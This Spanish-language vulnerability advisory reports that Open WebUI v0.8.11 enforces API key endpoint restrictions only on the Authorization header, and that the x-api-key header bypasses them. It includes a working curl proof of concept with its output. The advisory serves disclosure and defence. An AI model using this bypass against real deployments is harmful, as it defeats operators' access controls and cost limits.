Resumen

Open WebUI permite a los administradores restringir qué endpoints de API puede acceder una clave API. Cuando una clave API tiene restringido el acceso a /api/v1/messages, las solicitudes que utilizan el header Authorization: Bearer sk-... son correctamente bloqueadas con código 403. Sin embargo, la misma clave enviada a través del header x-api-key elude completamente la restricción: la solicitud es autenticada, el modelo es invocado y se devuelve una respuesta completa.

Detalles técnicos

La API compatible con Anthropic de Open WebUI acepta autenticación a través del header x-api-key (estándar para la API de Anthropic). La verificación de restricciones de endpoint solo se aplica a las claves presentadas a través del header Authorization. Cuando la misma clave sk-... se proporciona en x-api-key, la verificación de restricción se omite pero la clave sigue siendo válida para autenticación.

Esto significa que cualquier clave API, independientemente de sus restricciones de endpoint configuradas, puede acceder a cualquier endpoint de API simplemente utilizando x-api-key en lugar de Authorization.

Prueba de concepto

Verificado contra Open WebUI v0.8.11.

Configuración: El administrador crea un usuario con una clave API que tiene restricciones de endpoint (no permitida en /api/v1/messages). Se configura un modelo compatible con OpenAI simulado (mock-model).

bash
API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"

# Prueba 1: Header Authorization - BLOQUEADO (restricción de endpoint aplicada)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "Authorization: Bearer $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

# Prueba 2: Header x-api-key - BYPASS (misma clave, restricción omitida)
curl -s -X POST http://target:8080/api/v1/messages \
  -H "x-api-key: $API_KEY" \
  -H 'Content-Type: application/json' \
  -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'

Salida verificada:

json
# Header Authorization:
{"detail":"API key not allowed to access this endpoint."}

# Header x-api-key (MISMA clave):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}

La misma clave API es rechazada vía Authorization (403) pero completamente procesada vía x-api-key (200 con respuesta del modelo).

Impacto

Cualquier clave API con restricciones de endpoint puede eludir esas restricciones utilizando el header x-api-key en lugar de Authorization. Esto compromete todo el modelo de permisos de clave API:

  • Las claves restringidas de endpoints de chat/completado aún pueden enviar mensajes y recibir respuestas de LLM
  • Las claves restringidas de endpoints de administración pueden acceder a funcionalidad administrativa
  • El control de acceso previsto por el operador es silenciosamente inefectivo
  • El gasto de créditos de API no puede controlarse a través de restricciones de endpoint

Esta vulnerabilidad representa una falla crítica en el sistema de autorización que permite a atacantes con claves API restringidas acceder a funcionalidades que deberían estar prohibidas, comprometiendo la seguridad y el control de costos de la plataforma.